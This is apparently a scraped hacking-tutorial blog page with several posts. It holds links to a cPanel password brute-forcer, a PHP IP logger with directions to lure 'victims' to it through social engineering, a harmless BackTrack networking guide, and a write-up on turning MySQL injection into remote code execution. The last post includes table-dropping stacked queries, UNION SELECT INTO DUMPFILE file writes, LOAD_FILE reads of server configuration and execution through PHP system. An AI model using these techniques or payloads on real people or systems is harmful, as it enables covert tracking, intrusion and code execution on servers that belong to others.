</code></pre></div><span style="color: red;">Further Reading:</span><br />
<a href="http://www.turkhackteam.net/exploitler/22051-cpanel-password-brute-force-tool-perl-exploit.html" target="_blank"> Perl cPanel Bruteforcer</a><br />
<a href="http://bustedhumor.com/preview-cpanel-bruteforcer-safe-mode-open-basedir-bypasser-t-1951.html">Perl cPanel Bruteforcer Preview</a><br />
<br />
Regards,<br />
Hardeep Singh<br />
(<a href="http://www.fb.com/h4rdeep">www.fb.com/h4rdeep</a>)<br />
<div></div></div>

Cipher cPanel Hacking Hacking Tutorials Tutorials Cpanel Password Brute Forcer

# Cpanel Password Brute Forcer # ---------------------------- # (c)oded By Hessam-x # Perl Version ( low speed ) # Oerginal Advisory : # ...

Log Victim's IP

9/15/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPsDlATYYfFc2ovTVM96Y1Cpyhitu8FOG9ENtl1IMUuZPY78aqGmeE0ZN5BLNCFdReuzo2ke4XLwQkfDWzpyXUV5h0ZziqZAg5a17k4KB0wkpvoNzSuVMXasuYjBX_OOp93uq8zx2kmotD/s1600/ip+logger.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPsDlATYYfFc2ovTVM96Y1Cpyhitu8FOG9ENtl1IMUuZPY78aqGmeE0ZN5BLNCFdReuzo2ke4XLwQkfDWzpyXUV5h0ZziqZAg5a17k4KB0wkpvoNzSuVMXasuYjBX_OOp93uq8zx2kmotD/s400/ip+logger.gif" width="367" /></a></div><br />
I know you most of the time search on Google, Yahoo, etc, for tutorial on tracking your victim's IP. Yes, you can find many positive response, and there are also many ways by which you can log IP, but all those methods are a little bit tough as compared to my one, I have found a fresh technique by which you can log your victim's IP easily. This method is far most the best way of logging IP which I used myself many times.<br />
<br />
<br />
<h3>What we will need?</h3>This method doesn't require any heavy program or any other means. It will require:<br />
<br />
<br />
A Free and powerful hosting. I will recommend to use My3gb, or else your wish.<br />
A Php script to log IP which I have provided below.<br />
Some brain and a little bit HTML knowledge<br />
<br />
<h3>How to Setup your IP logger?</h3>After fulfilling all the required things, we will have to setup our IP logger so that it can log IPs. Create your account at any free hosting site,I use My3gb by myself, or you can also use any other hosting as per your choice. Open notepad and paste this script:<br />
<br />
<div class="program glow"><pre><code class="prettyprint">
<html>
<?php
$file = "log.txt";
$f=fopen($file, 'a');
fwrite($f,$_SERVER['REMOTE_ADDR']."\n\n"); 
fclose($f);
?>
//You can customize this part to make your page look attractive
</body>
</html>
</code></pre></div>Save this as Logger.php. Then you will have to create a text file with name <div class="system pop">log.txt </div>. After creating both these files, upload it to your website.<br />
<br />
<br />
<h3>How to log IPs?</h3>After uploading these files you will get a link, copy the link of your "Logger.php" file and send it to your victim by any means, but before doing this, test it for minimum two times on yourself. Now you can get the IP of your victim as soon as he open that link and the IPs will be logged in your "log.txt".<br />
<br />
Customize the Logger.php file<br />
This is very important step because as soon as your victim's visit your IP logging page then if he will find nothing or some suspicious thing then he will came to know that there is something wrong. For securing yourself from this suspicion you will have to customize your file, its easy if you have a little bit knowledge of HTML. Using HTML, you can simply made a small beautiful page for your victim. You can learn HTML from w3schools<br />
<br />
<br />
Now you will need some brains as I told above to send that Logger.php link to your victim, this can only be done by you, I cannot help you in this much, you can use Social Engineering or any other method like that.<br />
<br />
Regards,<br />
Hardeep Singh<br />
(<a href="mailto:h4rdeep@facebook.com">h4rdeep@facebook.com</a>)<br />
(<a href="http://www.fb.com/h4rdeep">www.fb.com/h4rdeep</a>)</div>

Hacking Hacking Tools Hacking Tutorials Scripts Tutorials Log Victim's IP

I know you most of the time search on Google, Yahoo, etc, for tutorial on tracking your victim's IP. Yes, you can find many positive re...

BackTrack - Basic Usage

9/15/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBgoI8Vqq2A1nLFk97rZhbb4REMZNqb_mwGq-YxNva2dRBs2F-0R2fkqT6dUD6vX_NVWjk3Jp8gUXW4NvW_NYJ7LvghsuYRmU2W2fp_MiOk5djZFEfobxbILk6a5_X_XgW05Vgq9PNsmAI/s1600/backtrack.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBgoI8Vqq2A1nLFk97rZhbb4REMZNqb_mwGq-YxNva2dRBs2F-0R2fkqT6dUD6vX_NVWjk3Jp8gUXW4NvW_NYJ7LvghsuYRmU2W2fp_MiOk5djZFEfobxbILk6a5_X_XgW05Vgq9PNsmAI/s400/backtrack.jpeg" width="400" /></a></div><h3>Login to BackTrack</h3><br />
Once the BackTrack is Installed, the default username and password required to log in are root / toor.<br />
NOTE: You will not be able to see the password as you type it.<br />
<br />
<h3>GUI</h3><ul><li>After login give startx command.</li>
<li>Getting Networking to work</li>
<li>Setting your IP manually</li></ul><br />
We will first set up the networking manually. In the following example we will assume the following addresses and their purpose:<br />
<div class="content shadow-radial">IP Address - 192.168.1.112/24<br />
  Default Gateway - 192.168.1.1<br />
  DNS server - 192.168.1.1</div><br /><br />
In order to set these up we will run the following commands:<br />
<div class="command wobble-horizontal">root@bt:~# ifconfig eth0 192.168.1.112/24<br />
  root@bt:~# route add default gw 192.168.1.1<br />
  root@bt:~# echo nameserver 192.168.1.1 > /etc/resolv.conf</div><br />
Getting a static IP to stick between reboots<br />
<br />
These settings however will only last until you reboot, so if we want to save them between reboots we need to edit the /etc/network/interfaces file like this:<br />
<div class="content shadow-radial"># This file describes the network interfaces available on your system<br />
  # and how to activate them. For more information, see interfaces(5).<br />
  # The loopback network interface<br />
  auto lo<br />
  iface lo inet loopback<br />
  # The primary network interface<br />
  auto eth0<br />
  iface eth0 inet static<br />
  address 192.168.1.112<br />
  netmask 255.255.255.0<br />
  network 192.168.1.0<br />
  broadcast 192.168.1.255<br />
  gateway 192.168.1.1</div><br />
Edit the file as appropriate, then have the network come up automatically at boot time:<br />
<br />
<div class="command wobble-horizontal">root@bt:~# update-rc.d networking defaults<br />
  root@bt:~# /etc/init.d/networking restart</div><br />
<h3>Getting an IP from DHCP</h3>In order to get an IP from a DHCP server we can issue the dhclient <interface> command as follows:<br />
<div class="command wobble-horizontal">root@bt:~# dhclient eth0<br />
  Internet Systems Consortium DHCP Client V3.1.1<br />
  Copyright 2004-2008 Internet Systems Consortium.<br />
  All rights reserved.<br />
  For info, please visit <a href="http://www.isc.org/sw/dhcp/">http://www.isc.org/sw/dhcp/</a> Listening on LPF/eth0/00:0c:29:81:74:21<br />
  Sending on LPF/eth0/00:0c:29:81:74:21<br />
  Sending on Socket/fallback<br />
  DHCPREQUEST of 192.168.1.112 on eth0 to 255.255.255.255 port 67<br />
  DHCPACK of 192.168.1.112 from 192.168.1.1<br />
  bound to 192.168.1.112 -- renewal in 37595 seconds.<br />
  root@bt:~#</div> Using the script to start networking<br />
There is a script to start networking in the /etc/init.d directory which attempts to start every interface listen in /etc/network/interfaces (you can remove the ones you don’t need). To start it issue the following command:<br />
<div class="command wobble-horizontal">root@bt:~# /etc/init.d/networking start</div><br />
<h3>WICD Network Manager</h3>Another way to set up your networking is using the WICD Network Manager, you can find it in the menu:<br />
Menu > Internet > Wicd Network Manager<br />
<br />
<h3>Changing the root password</h3>As you know Backtrack comes with a default username and password (root/toor) it is IMPORTANT that we change that root password especially when running services such as SSH. We can change the password by issuing the passwd command:<br />
<br />
<div class="command wobble-horizontal">root@bt:~# passwd Enter new UNIX password: {enter your new password here } Retype new UNIX password: {enter your new password again} passwd: password updated successfully <br />
  root@bt:~#</div><br />
<h3>Starting services</h3>BackTrack has various services such as Apache, SSH, MySQL, VNC, etc. They are all disabled by default. To start a service such as SSH, you can use the service init scripts. For example, to start the SSH service:<br />
<br />
<div class="command wobble-horizontal">root@bt:~# sshd-generate # Specific to the SSH service - needed to generate SSH keys<br />
  root@bt:~# /etc/init.d/ssh start<br />
  Starting OpenBSD Secure Shell server: sshd.<br />
  root@bt:~# /etc/init.d/ssh stop<br />
  Stopping OpenBSD Secure Shell server: sshd.<br />
  root@bt:~# </div><br /><br />
When using a ssh server for the first time on Backtrack you will need to generate keys:<br /><br />
<div class="command wobble-horizontal">root@bt:~# sshd-generate</div>To enable a service at boot time, you can use the update-rc.d command, for example, having SSH start at boot time:<br />
<div class="command wobble-horizontal">root@bt:~# update-rc.d -f ssh defaults<br />
  Adding system startup for /etc/init.d/ssh ...<br />
  /etc/rc0.d/K20ssh -> ../init.d/ssh<br />
  /etc/rc1.d/K20ssh -> ../init.d/ssh<br />
  /etc/rc6.d/K20ssh -> ../init.d/ssh<br />
  /etc/rc2.d/S20ssh -> ../init.d/ssh<br />
  /etc/rc3.d/S20ssh -> ../init.d/ssh<br />
  /etc/rc4.d/S20ssh -> ../init.d/ssh<br />
  /etc/rc5.d/S20ssh -> ../init.d/ssh<br />
  root@bt:~#</div><br />
<h3>Common apt commands</h3>apt-get install <package> Downloads <package> and all of its dependencies, and installs or upgrades them.<br />
apt-get remove [--purge] <package> Removes <package> and any packages that depend on it. --purge specifies that packages should be purged.<br />
apt-get update Updates packages listings from the repo, should be run at least once a week.<br />
apt-get upgrade Upgrades all currently installed packages with those updates available from the repo. should be run once a week.<br />
apt-get dist-upgrade [-u] Similar to apt-get upgrade, except that dist-upgrade will install or remove packages to satisfy dependencies.<br />
apt-cache search <pattern> Searches packages and descriptions for <pattern>.<br />
apt-cache show <package> Shows the full description of <package>.<br />
apt-cache showpkg <package> Shows a lot more detail about <package>, and its relationships to other packages.<br />
man apt Will give you more info on these commands as well as many that are in less common usage.<br />
<br />
<h3>Common dpkg commands</h3>dpkg -i <package.deb> Installs a package file; one that you downloaded manually, for example.<br />
dpkg -c <package.deb> Lists the contents of <package.deb> a .deb file.<br />
dpkg -I <package.deb> Extracts package information from <package.deb> a .deb file.<br />
dpkg -r <package> Removes an installed package named <package><br />
dpkg -P <package> Purges an installed package named <package>. The difference between remove and purge is that while remove only deletes data and executables, purge also deletes all configuration files in addition.<br />
dpkg -L <package> Gives a listing of all the files installed by <package>. See also dpkg -c for checking the contents of a .deb file.<br />
dpkg -s <package> Shows information on the installed package <package>. See also apt-cache show for viewing package information in the Debian archive and dpkg -I for viewing package information extracted from a .deb file.<br />
dpkg-reconfigure <package> Reconfigures an installed package<br />
man dpkg Will give you more info on these commands as well as many that are in less common usage.<br />
<br />
<h3>How do I find more information on a particular command or programs usage ?</h3>Most commands will have what is called a man page (manual page) which can be viewed by typing:<br />
<div class="command wobble-horizontal">root@bt:~# man <command you want more info on></div><br /><br />
Another very good resource on linux command usage can be found at <span class="system pop">linuxcommand.org </span>Some programs do not have a man page, but you can usually get more information on it's usage by typing: Just the program name without any arguements.<br />
or<br />
<div class="command wobble-horizontal">root@bt:~# <program name> -help </div><b>or </b> <div class="command wobble-horizontal">root@bt:~# <program name> --help</div><b> or </b><div class="command wobble-horizontal">root@bt:~# <program name> -h</div><br/><br />
Some programs use other methods, but they are usually just a variation of one of the above five commands.<br />
<br />
Regards,<br />
Hardeep Singh<br />
(<a href="http://www.fb.com/h4rdeep" target="_blank">www.fb.com/h4rdeep</a>)<br />
</div>

Backtrack Hacking Tutorials Linux Linux Tutorials OS Tutorials BackTrack - Basic Usage

Login to BackTrack Once the BackTrack is Installed, the default username and password required to log in are root / toor. NOTE: You will n...

Advanced MySQL Exploitation

8/30/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_9alg5xdw56RFcJShPskwW7oPSTRHCougEqWGuHGuQWRUmJiBkdJkBLO9s-YcF2NBv7BgiospLZJg-js17g4smMd8_2uVBzvp3gwGbET0D7oEp3JCLc0H6rIrIGg7COM5iYIz2OWfGNuQ/s1600/mysql+compromised.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Advance Mysql Exploitation" border="0" height="343" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_9alg5xdw56RFcJShPskwW7oPSTRHCougEqWGuHGuQWRUmJiBkdJkBLO9s-YcF2NBv7BgiospLZJg-js17g4smMd8_2uVBzvp3gwGbET0D7oEp3JCLc0H6rIrIGg7COM5iYIz2OWfGNuQ/s400/mysql+compromised.jpg" title="Advance Mysql Exploitation" width="400" /></a></div>
<br />
Advanced Mysql Exploitation<br />
<br />
1Abstract...................................................................3<br />
2 Introduction .............................................................3<br />
3 Stacked Query.............................................................3<br />
4 Attacking MySQL on applications that do support stacked queries...........4<br />
5 Attacking MySQL on applications that do not support stacked queries.......5<br />
6 Fingerprinting the web server directory...................................7<br />
6.1 Fingerprint through error message method................................7<br />
6.2 Fingerprint by LOAD_FILE method....................................7<br />
7 Maximum size of arbitrary code allowed....................................7<br />
8 Arbitrary file compression/decompression .................................8<br />
9 Dealing with columns......................................................8<br />
10 Remote code execution on LAMP............................................9<br />
11 Remote code execution on WAMP............................................10<br />
References .................................................................11<br />
<h3>
1 Abstract</h3>
This document discusses in detail how SQL Injection vulnerabilities can be used to conduct remote code execution on the LAMP (Linux, Apache, MySQL, and PHP) or WAMP (Windows, Apache, MySQL and PHP) environments. Attackers performing SQL injection on a MySQL platform must deal with several limitations and constraints. For example, the lack of multiple statements in one query makes MySQL an unpopular platform for remote code execution, compared to other platforms. A lot of research has been performed in the last few years, concentrating on arbitrary code execution by attacking SQL Injection vulnerabilities. However, these types of attacks concentrate on the DBMS connectors that support stacked queries. This document will explain how different methods can be used to achieve the same result on a DBMS connector that does<br />
not support stacked queries.<br />
<h3>
2 Introduction</h3>
SQL injection is an attack where malicious code is injected into the SQL statement. SQL Injection attack allows a malicious user to retrieve the structure of the database and uncover information regarding the application’s operating environment. It has been proven that arbitrary code execution is the highest risk level a malicious user can achieve when conducting SQL injection attack. MySQL is a popular database server and acts as the database component of the LAMP (Linux, Apache, MySQL and PHP) and WAMP (Windows, Apache, MySQL and PHP) software stacks. DBMS connectors for this technology do not support stacked queries by default. This makes the same technique used to conduct remote code execution on platforms that support stacked queries, cannot be applied on this platform.<br />
<br />
<h3>
3 Stacked Query</h3>
Stacked query is a term to define if a database connection layer can execute more than one query at a time. Each query is separated by semicolon. The following example is an example of stacked queries in an SQL Injection attack:<br />
SELECT name FROM record WHERE id = 1; DROP table record; DROP table address--<br />
<br />
In the example above, there are three separate queries requested at one time. The first query is the actual query from the application. These queries are allowed when called within the database server. However, when this stacked query is called within the MySQL PHP application by default, an error message will be replayed back by the application and none of the queries will be executed.<br />
<h3>
4 Attacking MySQL on applications that do support stacked queries</h3>
It has been discovered that the MySQL UDF (User Define Function) library [4] creation technique, can be used to conduct remote code execution on applications which support stacked queries. This has been clearly explained by David Litchfield in The Database Hacker’s Handbook [5].<br />
At Blackhat Europe 2009, Bernando Damele explained the similar technique in detail. The steps below are taken from Bernando Damele’s whitepaper [6].<br />
1) Create a support table with one field, data-type longblob.<br />
2) Encode the local file content to its corresponding hexadecimal string.<br />
3) Split the hexadecimal encoded string into chunks long 1024 characters each<br />
4) INSERT [7] the first chunk into the support table's field.<br />
5) UPDATE [8] the support table's field by appending to the entry the chunks from the<br />
second to the last.<br />
<br />
<br />
6) Export the hexadecimal encoded file content from the support table's entry to the destination file path by using SELECT's INTO DUMPFILE [9] clause. This is possible because on MySQL, a query like SELECT 0x41 returns the corresponding ASCII character A. Here are some requirements to perform this action:<br />
1) DBMS connector must support stacked queries.<br />
2) Session user is required to have FILE [10], INSERT, CREATE [11] and UPDATE privileges.<br />
3) On some MySQL versions below 5.1.19, shared library [12] path must be writable by a session user. Prior knowledge of this directory is also required.<br />
4) On some MySQL versions 5.1.19 and above, system variable plugin_dir [13] must exist and be writable by a session user. Prior knowledge of this directory is also required.<br />
It has been known that there are some limitations to this technique. By default, MySQL Linux runs as a mysql user and the shared library path is not writable by this user.<br />
<br />
However, this behavior is not applied to MySQL on Windows. MySQL on Windows runsas a Local System user and by default, file created by this user can be overwritten onto any folder. For the recent versions of MySQL, the directory belonging to system variable plugin_dir does not exist. This directory is required to be created first and writable by a session user.<br />
<br />
<br />
<h3>
5 Attacking MySQL on applications that do not support stacked queries</h3>
Due to the unsupported stacked queries on MySQL-PHP platform, execution of another statement after the actual statement is not possible. However, execution of another SELECT statement is possible using UNION syntax [14]. UNION syntax is used to combine the result from multiple SELECT statements into a single result set. The statement below taken from MySQL 5.1 Refence Manual:<br />
SELECT<br />
[ALL | DISTINCT | DISTINCTROW ]<br />
[HIGH_PRIORITY]<br />
[STRAIGHT_JOIN]<br />
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]<br />
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]<br />
select_expr [, select_expr ...]<br />
[FROM table_references<br />
[WHERE where_condition]<br />
[GROUP BY {col_name | expr | position}<br />
[ASC | DESC], ... [WITH ROLLUP]]<br />
[HAVING where_condition]<br />
[ORDER BY {col_name | expr | position}<br />
[ASC | DESC], ...]<br />
[LIMIT {[offset,] row_count | row_count OFFSET offset}]<br />
[PROCEDURE procedure_name(argument_list)]6<br />
[INTO OUTFILE 'file_name' export_options<br />
| INTO DUMPFILE 'file_name'<br />
| INTO var_name [, var_name]]<br />
[FOR UPDATE | LOCK IN SHARE MODE]]<br />
<br />
It was discovered that only SELECT INTO DUMPFILE can be used to write arbitrary binary files onto the database server using UNION SELECT. When injecting this statement, only one statement can be used to create the whole file. Also, this file cannot be overwritten by calling another SELECT INTO DUMPFILE statement to write into the same file.<br />
The statement below taken from MySQL 5.1 Reference Manual:<br />
Only the last SELECT statement can use INTO OUTFILE/DUMPFILE. (However, the entire UNION result is written to the file.)<br />
Due to the nature of the UNION statement, results retrieved from the first query will be the first set of data to write into our arbitrary file.<br />
For example:<br />
SELECT content FROM data WHERE id=21 UNION SELECT 0x8A789C....... INTO DUMPFILE ‘file’<br />
If the first query returns any data, this data will overwrite the file header. To prevent this, we can inject any non existing value in the WHERE clause so no data would be extracted from the first query. This is to ensure that only our chosen data is written into the file. The file is also required to be located in a directory where we can execute it. In the case of a DBMS connector that does not support stacked queries, the best directory to upload this file onto an Apache web server directory. However, this is only possible in an environment where the MySQL database and Apache web server are on the same machine. By uploading onto the Apache web server directory, a PHP script can be used to execute the file using the SYSTEM function [15]. Here are some requirements to perform this action:<br />
1) Prior knowledge of the Apache web server directory.<br />
2) Session user is required to have FILE privilege.<br />
3) Session user is required to have access to write onto the web server directory.7<br />
<h3>
6 Fingerprinting the web server directory</h3>
In some cases where the web server root directory is not located in the default folder during the installation process, fingerprinting can be used to achieve this information. There are two methods that can be used to fingerprint the web server directory. It can be fingerprinted by forcing the application to return an error message or by loading the default<br />
location of the Apache configuration file.<br />
<br />
<br />
<h3>
6.1 Fingerprint through error message method</h3>
By default, custom error message is turned off by PHP. There are many ways to force the application to return an error message that contains internal information including the web server directory. For example, this error message can be generated by injecting a single quote as part of the SQL data. Here is an example of the error message returned by the<br />
PHP application when a single quote is injected, as part of the SQL data.<br />
Fatal error: Call to a member function execute() on a non-object in /var/www/output.php on line 15<br />
<br />
<h3>
6.2 Fingerprint through LOAD_FILE method</h3>
LOAD_FILE [16] can be used to read a file on the database server. To use this function, FILE privilege is required by the session user. The file must also be readable by all and its size must be less than max_allowed_packet bytes value in the Apache configuration file. A default apache configuration file meets this requirement. The DocumentRoot directive [17] in this file contains the path of the Apache web server root directory and can be used to disclose this information. Here is an example of the query to load an Apache configuration file on Apache version 2.2, in a default installation of Ubuntu Linux.<br />
SELECT LOAD_FILE('/etc/apache2/sites-available/default')<br />
7 Maximum size of arbitrary code allowed<br />
The LimitRequestLine directive [17] in the Apache configuration file allows the web server to reduce the size of an HTTP request . This includes all information passed in the query as part of the GET request. The default value for this directive is 8190 bytes. If the SQL Injection is discovered on the GET request and our query including the arbitrary code 8<br />
is larger than this value, Apache web server would response with the HTTP Status Code 414 and the request would not be processed. By default, the Apache web server sets the LimitRequestBody directive to 2GB [17]. This is the allowed size of an HTTP request message body. If the SQL Injection is discovered in a POST request, 2GB will give us enough room to upload our arbitrary code. Web application firewalls also have the ability to terminate a long request. This long request is normally detected as a buffer overflow attack.<br />
<br />
<h3>
8 Arbitrary file compression/decompression</h3>
PHP contains a module called Zlib [18] that can be used to read and write gzip compressed files. This module can be abused to compress the arbitrary file into a smaller file using the gzcompress function [19]. The Zlib module is able to compress our file from 9635 bytes to only 630 bytes. When the compressed file is successfully uploaded on the web server, gzuncompress function [20] can be used to decompress the file. However, this is only possible in an environment where the MySQL database and Apache web server are on the same machine.<br />
<br />
<h3>
9 Dealing with columns</h3>
A UNION clause will combine the result from multiple SELECT statements into a single result set. The two queries must have the same number of columns. Due to this reason, some unnecessary data will be added to our data which could potentially corrupt our file.<br />
For example:<br />
SELECT name, add, content FROM data WHERE id=21 UNION SELECT NULL,NULL, 0x8A789C....... INTO DUMPFILE ‘file’<br />
The result from the first query will be added into our compressed file. As mentioned in the section 5, we can inject any nonexisting value into the WHERE clause so there would be no data extracted from the first query. However, due to the extra columns required in this statement, any bad character data added into the first two columns also could potentially corrupt our file. To prevent our file header from being overwritten by any bad character data, we can add our data in the first column and inject any random data into the other columns as seen in the following example.<br />
9<br />
SELECT name, add, content FROM data WHERE id=4444 UNION SELECT 0x8A789C.........,0x00,0x00 INTO DUMPFILE ‘file’<br />
The first column in the example above is filled with our compressed arbitrary data. When Zlib library is used, the Adler32 checksum [21] will be found at the end of the compressed data in the first column . As mentioned in the RFC 1950 [22] , any data which may appear after the Adler32 checksum is not part of the Zlib stream. We can abuse this functionality by injecting any value into the other columns. This may help the compressed arbitrary file to be decompressed without having any issues.<br />
Another method is to ensure that all the arbitrary data is filled in sequence into all columns in the second query. It would not be an issue if one of the columns contains more data than the other columns as seen in the following example.<br />
SELECT name, add, content FROM data WHERE id=4444 UNION SELECT 0x8A, 0x78,0x9CED......9EEC....... INTO DUMPFILE ‘file’<br />
<br />
<h3>
10 Remote code execution on LAMP</h3>
Remote code execution on LAMP contains several limitations and constraints. By default, MySQL runs as a mysql user. Arbitrary files created through SELECT INTO DUMPFILE can only be uploaded onto the directory where the MySQL user is allowed to write onto. By default, the uploaded file is not executable but readable. This file also is owned by a mysql user. A PHP script can be used to read the file and write the same file content to a new file.<br />
This new file created is owned by the www-data user and the same PHP script can be used to change the permission of this file to be executable using the PHP SYSTEM function. To perform this action, this file needs to be uploaded onto the web server directory that is writable by MySQL and www-data users. By default, any directory created by other users are not writable by these users. In some cases, these directories are set to be writable. An example of this can be found in an application where a user is allowed to upload content onto the web server directories, through the file upload feature.<br />
If the writable directories can be discovered on the web server and the file is successfully uploaded, PHP script can be used to execute the malicious file using the PHP SYSTEM function.<br />
<h3>
11 Remote code execution on WAMP</h3>
Remote code execution on WAMP contains fewer limitations and constraints in order to function. By default, MySQL runs as a Local System user and files created through SELECT INTO DUMPFILE can be uploaded onto any of the web server directories. By<br />
default, this file is executable. Just like on the LAMP platform, PHP script can be used to execute the malicious file using the PHP SYSTEM function.</div>

Hacking Hacking Tutorials SQL Injection Tutorials Advanced MySQL Exploitation

Advanced Mysql Exploitation 1Abstract...................................................................3 2 Introduction ...............